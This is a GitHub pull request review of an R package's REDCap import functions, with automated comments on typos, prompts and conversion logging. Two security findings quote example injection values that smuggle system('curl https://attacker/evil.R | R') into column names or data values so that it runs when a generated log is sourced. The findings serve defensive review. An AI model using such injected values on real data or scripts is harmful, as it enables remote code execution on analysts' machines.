improving redcap_import_select and redcap_import_recode#30
improving redcap_import_select and redcap_import_recode#30aghaynes merged 12 commits intoCTU-Bern:mainfrom
Conversation
…red prompts, adjustable batches of vars, adjustable auto-options,...)
There was a problem hiding this comment.
Pull request overview
This pull request improves two key REDCap import functions by standardizing parameter naming, enhancing the user interface with color-coded prompts, and adding new functionality for batch processing. The changes aim to make the functions more user-friendly and maintainable.
Key changes include:
- Standardizing parameter names from
import_data/selected_datatoinput_dataacross both functions - Adding a
batch_sizeparameter toredcap_import_selectfor displaying REDCap variables in manageable batches - Replacing numeric input prompts (0/1) with more intuitive letter-based options (y/n) throughout the interactive interface
- Enhancing visual feedback with color-coded prompts using additional crayon imports (green, yellow, magenta, strip_style)
Reviewed changes
Copilot reviewed 8 out of 8 changed files in this pull request and generated 8 comments.
Show a summary per file
| File | Description |
|---|---|
| man/redcap_import_select.Rd | Updates documentation for parameter rename and adds batch_size parameter description |
| man/redcap_import_recode.Rd | Updates documentation for parameter rename from selected_data to input_data |
| R/reformat.R | Comments out debug print statement in redcap_prep_datetimes |
| R/redcap_import_select.R | Major refactoring with parameter rename, batch processing feature, improved UI with color prompts, and runtime adjustments for similarity/batch settings |
| R/redcap_import_recode.R | Parameter rename, improved UI with color prompts, enhanced user messages, and better formatting for tables |
| NEWS.md | Adds version 0.5.2 entry documenting bug-fixes and readability improvements |
| NAMESPACE | Adds new crayon imports (green, yellow, magenta, strip_style) for enhanced UI |
| DESCRIPTION | Updates package version from 0.5.1 to 0.5.2 |
💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
R/redcap_import_select.R
Outdated
| # compares var name to data dictionary field names | ||
| if (!any(str_detect(rc_vars$field_name,paste0("^",imp_vars[i],"$")))) { | ||
| if(!suppress_txt) cat(paste("\nVariable name", underline("NOT"),"found in REDCap:", blue(bold(underline(imp_vars[i])))),"\n\n") | ||
| if(!suppress_txt) cat(paste0("\nVariable name", underline("NOT"),"found in REDCap:", blue(bold(underline(imp_vars[i])))),"\n\n") |
There was a problem hiding this comment.
Missing space after the comma. The output will read 'Variable nameNOT found in REDCap:' instead of 'Variable name NOT found in REDCap:'. Add a space before 'underline("NOT")' or after the comma.
| if(!suppress_txt) cat(paste0("\nVariable name", underline("NOT"),"found in REDCap:", blue(bold(underline(imp_vars[i])))),"\n\n") | |
| if(!suppress_txt) cat(paste0("\nVariable name ", underline("NOT"),"found in REDCap:", blue(bold(underline(imp_vars[i])))),"\n\n") |
R/redcap_import_select.R
Outdated
| # compares var name to data dictionary field names | ||
| if (any(str_detect(rc_vars$field_name,paste0("^",imp_vars[i],"$")))) { | ||
| if(!suppress_txt) cat(paste("\nVariable name found in REDCap:", blue(bold(underline(imp_vars[i]))))) | ||
| if(!suppress_txt) cat(paste0("\nVariable name found in REDCap:", blue(bold(underline(imp_vars[i]))))) |
There was a problem hiding this comment.
Missing space after the colon. The output will read 'Variable name found in REDCap:variable_name' instead of 'Variable name found in REDCap: variable_name'. Add a space after the colon in the string.
| if(!suppress_txt) cat(paste0("\nVariable name found in REDCap:", blue(bold(underline(imp_vars[i]))))) | |
| if(!suppress_txt) cat(paste0("\nVariable name found in REDCap: ", blue(bold(underline(imp_vars[i]))))) |
R/redcap_import_recode.R
Outdated
| cat("\nPlease check your answer!") | ||
| cat(paste0("\nType ",green(bold("y")), " and press Enter to continue.")) | ||
| cat(paste0("\nPress ",red(bold("ESC"))," to stop.\n")) | ||
| intor_ans <- "" |
There was a problem hiding this comment.
There's a typo in the variable name: intor_ans should be intro_ans. This will cause the variable to be undefined, since intro_ans is the one being checked in the while loop condition.
| intor_ans <- "" | |
| intro_ans <- "" |
R/redcap_import_recode.R
Outdated
|
|
||
| auto_recode_precision <- readline(prompt="Answer: ") | ||
| cat(paste0("\nCurrent similarity index: ",auto_recode_precision)) | ||
| new_sim <- readline(prompt="Please enter a new similariy index between 0 and 1: ") |
There was a problem hiding this comment.
The typo 'similariy' should be 'similarity'. This appears in a user-facing prompt asking for input.
| new_sim <- readline(prompt="Please enter a new similariy index between 0 and 1: ") | |
| new_sim <- readline(prompt="Please enter a new similarity index between 0 and 1: ") |
R/redcap_import_select.R
Outdated
| # skip | ||
| if (match_ans == 'skip') { | ||
| what_to_do <- "no_select" | ||
| out_txt <- italic("Variable will not be be selected!") |
There was a problem hiding this comment.
There's an unnecessary 'be' repeated in the sentence. It should read 'Variable will not be selected!' instead of 'Variable will not be be selected!'.
| out_txt <- italic("Variable will not be be selected!") | |
| out_txt <- italic("Variable will not be selected!") |
R/redcap_import_select.R
Outdated
| } | ||
| Sys.sleep(wait) | ||
|
|
||
| cat(paste0("\n\nWhat would you like to do for", blue(bold(underline(imp_vars[i])))),"?") |
There was a problem hiding this comment.
Missing space after 'for'. The output will read 'What would you like to do forvariable_name?' instead of 'What would you like to do for variable_name?'. Add a space at the end of the string before the closing quote.
| cat(paste0("\n\nWhat would you like to do for", blue(bold(underline(imp_vars[i])))),"?") | |
| cat(paste0("\n\nWhat would you like to do for ", blue(bold(underline(imp_vars[i])))),"?") |
R/redcap_import_select.R
Outdated
| cat(prhelp(green(bold("y")),"YES, select variable without renaming.")) | ||
| cat(prhelp(yellow(bold("n")),"NO, rename the variable.")) | ||
| cat(prhelp(yellow("skip"),"do NOT select variable and move to next item")) | ||
| cat(prhelp(red("exit"),"do NOT select variable and stop loop")) |
There was a problem hiding this comment.
The prhelp function is designed to print output directly with cat(), but it's being called inside another cat() statement. This will result in NULL being passed to the outer cat() and the prhelp output appearing separately. Either remove the outer cat() calls or modify prhelp to return a string instead of printing directly.
R/redcap_import_recode.R
Outdated
| cat(prhelp(green(bold("y")),"YES, convert as suggested.")) | ||
| cat(prhelp(yellow(bold("n")),"NO, convert manually.")) | ||
| cat(prhelp(red("skip"),"do NOT convert and move to next variable.")) | ||
| cat(prhelp(red("exit"),"do NOT convert and stop loop.")) |
There was a problem hiding this comment.
The prhelp function is designed to print output directly with cat(), but it's being called inside another cat() statement. This will result in NULL being passed to the outer cat() and the prhelp output appearing separately. Either remove the outer cat() calls or modify prhelp to return a string instead of printing directly.
There was a problem hiding this comment.
Pull request overview
Copilot reviewed 9 out of 9 changed files in this pull request and generated 9 comments.
💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
| cat("\n 'skip' = skip this variable") | ||
| cat("\n 'exit' = stop loop, exit code") | ||
| cat("\nPlease check your answer!") | ||
| cat("\n\nChoose an option (type and press Enter):\n") |
There was a problem hiding this comment.
There's a typo "of" should be "off" in the comment. The comment says "turn on/of auto skipping" but should say "turn on/off auto skipping".
| break | ||
| } | ||
|
|
||
| ### turn on/off auto selecting ---- |
There was a problem hiding this comment.
The comment has a typo: "of" should be "off". The comment should read "turn on/off auto selecting" instead of "turn on/of auto selecting".
| converted_var <- if_else(round(as.numeric(var)) %% 1 == 0 & | ||
| as.numeric(var) >= rc_min & | ||
| as.numeric(var) <= rc_max, | ||
| as.integer(var),NA) |
There was a problem hiding this comment.
The condition round(as.numeric(var)) %% 1 == 0 is redundant because round() always produces an integer value when applied to a number, making the modulo check always true. The condition can be simplified to just check the range: if_else(as.numeric(var) >= rc_min & as.numeric(var) <= rc_max, as.integer(round(as.numeric(var))), NA). This same redundancy exists in the integer conversion at line 869.
| converted_var <- if_else(round(as.numeric(var)) %% 1 == 0 & | |
| as.numeric(var) >= rc_min & | |
| as.numeric(var) <= rc_max, | |
| as.integer(var),NA) | |
| converted_var <- if_else(as.numeric(var) >= rc_min & | |
| as.numeric(var) <= rc_max, | |
| as.integer(round(as.numeric(var))), NA) |
R/redcap_import_recode.R
Outdated
| if (change_round) { | ||
| converted_var <- if_else(round(as.numeric(var)) %% 1 == 0,as.integer(var),NA) | ||
| log_default <- paste0("as.character(as.integer(round(as.numeric(",name,"))))") | ||
| log_default <- paste0("as.character(as.integer(",name,"))") |
There was a problem hiding this comment.
The log_default doesn't match the actual conversion logic when change_round is TRUE. The code converts using as.integer(var) but should use as.integer(round(as.numeric(var))) to match what's actually being done in the if_else statement. This applies to both the slider conversion (line 1055) and the integer conversion (line 870).
R/redcap_import_select.R
Outdated
| cat("\n\nChoose an option (type and press Enter):\n") | ||
| prhelp(green(bold("y")),"YES, select variable without renaming.") | ||
| prhelp(yellow(bold("n")),"NO, rename the variable.") | ||
| prhelp(yellow("skip"),"do NOT select variable and move to next item") |
There was a problem hiding this comment.
The option description says "move to next item" but should say "move to next variable" for consistency with other similar messages in the codebase. Throughout the rest of the code, "variable" is used instead of "item" when referring to the loop iteration.
R/redcap_import_select.R
Outdated
| cat("\n\nChoose an option (type and press Enter):\n") | ||
| prhelp(green(bold("y")),"YES, select variable without renaming.") | ||
| prhelp(yellow(bold("n")),"NO, rename the variable.") | ||
| prhelp(yellow("skip"),"do NOT select variable and move to next item") |
There was a problem hiding this comment.
The option description says "move to next item" but should say "move to next variable" for consistency. The same inconsistency appears in lines 323, 404, and 438 where "item" should be "variable".
R/redcap_import_select.R
Outdated
| cat("\n\nChoose an option (type and press Enter):\n") | ||
| cat(paste0("To ",green("rename")," the variable, type the field name or choose the respective number from the list above!\n")) | ||
| prhelp(yellow("select"),"select the variable anyway (without renaming)",14) | ||
| prhelp(yellow("skip"),"do NOT select variable and move to next item",14) |
There was a problem hiding this comment.
The option description says "move to next item" but should say "move to next variable" for consistency with other similar messages throughout the codebase.
R/redcap_import_select.R
Outdated
| cat("\n\nChoose an option (type and press Enter):\n") | ||
| cat(paste0("To ",green("rename")," the variable, type the field name or choose the respective number from the list above!\n")) | ||
| prhelp(yellow("select"),"select the variable anyway (without renaming)",14) | ||
| prhelp(yellow("skip"),"do NOT select variable and move to next item",14) |
There was a problem hiding this comment.
The option description says "move to next item" but should say "move to next variable" for consistency with other similar messages throughout the codebase.
| prhelp(yellow("skip"),"do NOT select variable and move to next item",14) | |
| prhelp(yellow("skip"),"do NOT select variable and move to next variable",14) |
R/redcap_import_recode.R
Outdated
| as.numeric(var) >= rc_min & | ||
| as.numeric(var) <= rc_max, | ||
| as.integer(var),NA) | ||
| log_default <- paste0("as.character(as.integer(",name,"))") |
There was a problem hiding this comment.
The log_default doesn't match the actual conversion logic when change_round is TRUE. The code converts using as.integer(var) but should use as.integer(round(as.numeric(var))) to match what's actually being done in the if_else statement at line 1051-1054.
| log_default <- paste0("as.character(as.integer(",name,"))") | |
| log_default <- paste0("as.character(as.integer(round(as.numeric(",name,"))))") |
There was a problem hiding this comment.
Pull request overview
Copilot reviewed 9 out of 9 changed files in this pull request and generated 6 comments.
💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
| ...) { | ||
|
|
||
| field_name <- field_type <- select_choices_or_calculations <- text_validation_type_or_show_slider_number <- field_label <- text_validation_min <- text_validation_max <- value <- n <- NULL | ||
| intro_ans <- manconv_ans <- conv_to <- contconv_ans <- manrec_ans <- rec_ans <- contrec_ans <- "" |
There was a problem hiding this comment.
The variable initialization for intro_ans and other answer variables sets them to empty strings, but several while loops check against numeric values (e.g., while (intro_ans != 1)). This creates a type mismatch where a string "" is compared to numeric 1, which may not behave as intended. Consider initializing these variables as NA or ensuring consistent type usage throughout.
| intro_ans <- manconv_ans <- conv_to <- contconv_ans <- manrec_ans <- rec_ans <- contrec_ans <- "" | |
| intro_ans <- manconv_ans <- conv_to <- contconv_ans <- manrec_ans <- rec_ans <- contrec_ans <- NA |
| as.numeric(var) >= rc_min & | ||
| as.numeric(var) <= rc_max, | ||
| as.integer(var),NA) | ||
| log_default <- paste0("as.character(as.integer(round(as.numeric(",name,"))))") |
There was a problem hiding this comment.
The logged code for slider conversion with rounding (line 1055) does not include the min/max bounds validation that is actually performed in the conversion logic (lines 1052-1053). The logged code should reflect the actual conversion logic including the bounds check, otherwise users who reuse the logged code will get different results.
| log_default <- paste0("as.character(as.integer(round(as.numeric(",name,"))))") | |
| log_default <- paste0("as.character(ifelse(is.numeric(", name, ") & as.numeric(", name, ") >= ", rc_min, " & as.numeric(", name, ") <= ", rc_max, ", as.integer(", name, "), NA))") |
| while (intro_ans != 1) { | ||
| intro_ans <- readline(prompt="Answer: ") | ||
| intro_ans <- readline(prompt="Type '1' to continue: ") | ||
| if (intro_ans != 1) { | ||
| cat("Please check your answer! \n 1 = YES\n'esc' = STOP") | ||
| intor_ans <- "" | ||
| cat("\nPlease check your answer! (Press 'ESC' to cancel)") | ||
| } |
There was a problem hiding this comment.
The while loop condition checks if intro_ans != 1 (numeric), but intro_ans is initialized as an empty string "". The readline() function returns a string, so the comparison will be between string values and numeric 1. This creates a type mismatch that may cause unexpected behavior. The second intro prompt (lines 382-390) correctly uses string comparison with "y", but this first prompt should also be updated to use consistent string comparisons or intro_ans should be initialized differently.
R/redcap_import_recode.R
Outdated
| prhelp(green(bold("y")),"YES, recode as suggested") | ||
| prhelp(yellow(bold("n")),"NO, recode manually") | ||
| if (nrow(sugg_coding) > 0) { | ||
| prhelp(yellow(bold("p")),"change precision of matching for the recoding suggestions") |
There was a problem hiding this comment.
Inconsistent terminology: the option description says "change precision of matching" but on line 1748 it says "change similarity index". Using "similarity index" consistently would be clearer since that's the term used elsewhere in the code and documentation.
| prhelp(yellow(bold("p")),"change precision of matching for the recoding suggestions") | |
| prhelp(yellow(bold("p")),"change similarity index for the recoding suggestions") |
R/redcap_import_recode.R
Outdated
|
|
||
| if (change_round) { | ||
| converted_var <- if_else(round(as.numeric(var)) %% 1 == 0,as.integer(var),NA) | ||
| converted_var <- if_else(is.numeric(var),as.integer(var),NA) |
There was a problem hiding this comment.
The condition uses is.numeric(var) which returns a single TRUE/FALSE for the entire vector, not element-wise evaluation. This means all elements will be treated the same way based on the vector's type, rather than checking each element individually. This is likely intentional if var is already known to be a numeric vector at this point, but if var could contain mixed types or NA values that need different handling, this logic may not work as expected. The same pattern appears in the slider conversion code at line 1051.
| converted_var <- if_else(is.numeric(var),as.integer(var),NA) | |
| converted_var <- as.integer(round(as.numeric(var))) |
| prhelp(yellow(bold("r")),"round values with more decimal places than permitted",15) | ||
| } | ||
| if(conv_to %in% c("time_hm","dt")) { | ||
| prhelp(yellow(bold("r")),"remove time information that is not required",15) |
There was a problem hiding this comment.
Typo in error message: "unneccessary" should be "unnecessary" (single 'c').
There was a problem hiding this comment.
Pull request overview
Copilot reviewed 9 out of 9 changed files in this pull request and generated 4 comments.
Comments suppressed due to low confidence (2)
R/redcap_import_select.R:727
imp_vars[i](column names frominput_data) are concatenated directly into R code strings written tolog_codeviawrite.table, for example in theno_renameandrenamebranches, creating executable code that depends on untrusted data. Ifinput_datacomes from an external file (e.g., CSV headers supplied by another party), a crafted column name likex); system("curl https://attacker/evil.R | R"); #will be embedded into the generated script and run if a user later sources or copy-pastes the log, enabling arbitrary R code execution with the analyst's privileges. To mitigate this, avoid generating executable R from raw column names (or ensure they are strictly validated/escaped into safe identifiers before logging) so that logs treat these values as data rather than code.
write.table(paste0(", ",imp_vars[i]), log_code, quote = FALSE, row.names = FALSE, col.names = FALSE, append = TRUE)
write.table(paste("",imp_vars[i],"x","","-", sep = ","), log_table, quote = FALSE, row.names = FALSE, col.names = FALSE, append = TRUE)
}
}
## rename ----
if (what_to_do == "rename") {
vars_rename[[length(vars_rename)+1]] <- imp_vars[i]
names(vars_rename)[length(vars_rename)] <- new_name
rc_vars <- filter(rc_vars,field_name != new_name)
if(log) {
write.table(paste0(", ",new_name," = ",imp_vars[i]), log_code, quote = FALSE, row.names = FALSE, col.names = FALSE, append = TRUE)
R/redcap_import_recode.R:2003
- In the manual recoding branch, the data value
lvlis again concatenated directly into R code strings stored inlog_recode_code(e.g.,", '" + lvl + "' ~ '" + lvl + "'" or", '" + lvl + "' ~ NA), which are written into thelog_codescript. Becauselvlcomes from actual data values ininput_data(potentially supplied by REDCap respondents or external files), a malicious value containing quotes and R syntax (such asvalue'); system('curl https://attacker/evil.R | R'); #) will be turned into executable R when the analyst later sources or copies the log, leading to arbitrary code execution. The code generation forlog_code` should either avoid embedding raw data values at all or must rigorously escape/quote them so that untrusted strings cannot terminate the literal and inject additional R expressions.
log_recode_code <- c(log_recode_code,paste0(", '",lvl,"' ~ '",lvl,"'"))
log_recode_table <- c(log_recode_table,paste0(",,",gsub(","," ",lvl),",",gsub(","," ",lvl)))
next
}
# set to missing
if (rec_ans == 'empty') {
# empty cells
if (l == 1 & any(empty_cells)) {
recoded_var <- recoded_var
log_recode_code <- c(log_recode_code,", NA ~ NA")
log_recode_table <- c(log_recode_table,",,(empty),(empty)")
# any other value
} else {
levels(recoded_var)[which(levels(recoded_var) == lvl)] <- NA
log_recode_code <- c(log_recode_code,paste0(", '",lvl,"' ~ NA"))
log_recode_table <- c(log_recode_table,paste0(",,",gsub(","," ",lvl),",(empty)"))
}
}
# recode
if (any(str_detect(coded_options$code,paste0("^",rec_ans,"$")))) {
# empty cells
if (l == 1 & any(empty_cells)) {
recoded_var <- as.character(recoded_var)
recoded_var[is.na(recoded_var)] <- rec_ans
recoded_var <- as.factor(recoded_var)
log_recode_code <- c(log_recode_code,paste0(", NA ~ '",rec_ans,"'"))
log_recode_table <- c(log_recode_table,paste0(",,(empty),",rec_ans))
# any other value
} else {
levels(recoded_var)[which(levels(recoded_var) == lvl)] <- rec_ans
log_recode_code <- c(log_recode_code,paste0(", '",lvl,"' ~ '",rec_ans,"'"))
log_recode_table <- c(log_recode_table,paste0(",,",gsub(","," ",lvl),",",rec_ans))
💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
| log_default <- paste0("as.character(as.integer(round(as.numeric(",name,"))))") | ||
|
|
||
| } else { | ||
| converted_var <- if_else(as.numeric(var) %% 1 == 0 & | ||
| as.numeric(var) >= rc_min & | ||
| as.numeric(var) <= rc_max, | ||
| as.integer(var),NA) | ||
| log_default <- paste0("as.character(as.integer(",name,"))") |
There was a problem hiding this comment.
The logged code does not include the min/max validation checks that are applied in the actual conversion (lines 1052-1053). The log should reflect the complete conversion logic to ensure reproducibility. Consider including the range validation in the logged code or documenting why it's omitted.
| log_default <- paste0("as.character(as.integer(round(as.numeric(",name,"))))") | |
| } else { | |
| converted_var <- if_else(as.numeric(var) %% 1 == 0 & | |
| as.numeric(var) >= rc_min & | |
| as.numeric(var) <= rc_max, | |
| as.integer(var),NA) | |
| log_default <- paste0("as.character(as.integer(",name,"))") | |
| log_default <- paste0( | |
| "as.character(ifelse(round(as.numeric(", name, ")) %% 1 == 0 & ", | |
| "as.numeric(", name, ") >= rc_min & ", | |
| "as.numeric(", name, ") <= rc_max, ", | |
| "as.integer(", name, "), NA))" | |
| ) | |
| } else { | |
| converted_var <- if_else(as.numeric(var) %% 1 == 0 & | |
| as.numeric(var) >= rc_min & | |
| as.numeric(var) <= rc_max, | |
| as.integer(var),NA) | |
| log_default <- paste0( | |
| "as.character(ifelse(as.numeric(", name, ") %% 1 == 0 & ", | |
| "as.numeric(", name, ") >= rc_min & ", | |
| "as.numeric(", name, ") <= rc_max, ", | |
| "as.integer(", name, "), NA))" | |
| ) |
| log_default <- paste0("as.character(as.integer(round(as.numeric(",name,"))))") | ||
|
|
||
| } else { | ||
| converted_var <- if_else(as.numeric(var) %% 1 == 0 & | ||
| as.numeric(var) >= rc_min & | ||
| as.numeric(var) <= rc_max, | ||
| as.integer(var),NA) | ||
| log_default <- paste0("as.character(as.integer(",name,"))") |
There was a problem hiding this comment.
The logged code does not include the min/max validation checks that are applied in the actual conversion (lines 1058-1060). The log should reflect the complete conversion logic to ensure reproducibility. Consider including the range validation in the logged code or documenting why it's omitted.
| log_default <- paste0("as.character(as.integer(round(as.numeric(",name,"))))") | |
| } else { | |
| converted_var <- if_else(as.numeric(var) %% 1 == 0 & | |
| as.numeric(var) >= rc_min & | |
| as.numeric(var) <= rc_max, | |
| as.integer(var),NA) | |
| log_default <- paste0("as.character(as.integer(",name,"))") | |
| log_default <- paste0( | |
| "ifelse(round(as.numeric(", name, ")) %% 1 == 0 & ", | |
| "as.numeric(", name, ") >= ", rc_min, " & ", | |
| "as.numeric(", name, ") <= ", rc_max, ", ", | |
| "as.character(as.integer(round(as.numeric(", name, ")))), NA)" | |
| ) | |
| } else { | |
| converted_var <- if_else(as.numeric(var) %% 1 == 0 & | |
| as.numeric(var) >= rc_min & | |
| as.numeric(var) <= rc_max, | |
| as.integer(var),NA) | |
| log_default <- paste0( | |
| "ifelse(as.numeric(", name, ") %% 1 == 0 & ", | |
| "as.numeric(", name, ") >= ", rc_min, " & ", | |
| "as.numeric(", name, ") <= ", rc_max, ", ", | |
| "as.character(as.integer(", name, ")), NA)" | |
| ) |
R/redcap_import_recode.R
Outdated
| if (contconv_ans == '4') { | ||
| if (contconv_ans == 'd') { | ||
|
|
||
| # set change_pot_miss to TRUE so that conversion-part is skipped |
There was a problem hiding this comment.
The comment incorrectly states "set change_pot_miss to TRUE" but the code actually sets "change_cb_delims" to TRUE. The comment should be corrected to match the actual variable being set.
| # set change_pot_miss to TRUE so that conversion-part is skipped | |
| # set change_cb_delims to TRUE so that conversion-part is skipped |
| prhelp(green(bold("y")),"YES, select variable without renaming.") | ||
| prhelp(yellow(bold("n")),"NO, rename the variable.") | ||
| prhelp(yellow("skip"),"do NOT select variable and move to next variable") | ||
| prhelp(red("exit"),"do NOT select variable and stop loop") |
There was a problem hiding this comment.
Inconsistent punctuation in user-facing messages. Lines 303-304 end with periods, while lines 305-306 do not. For consistency and better user experience, all option descriptions should follow the same punctuation pattern.
No description provided.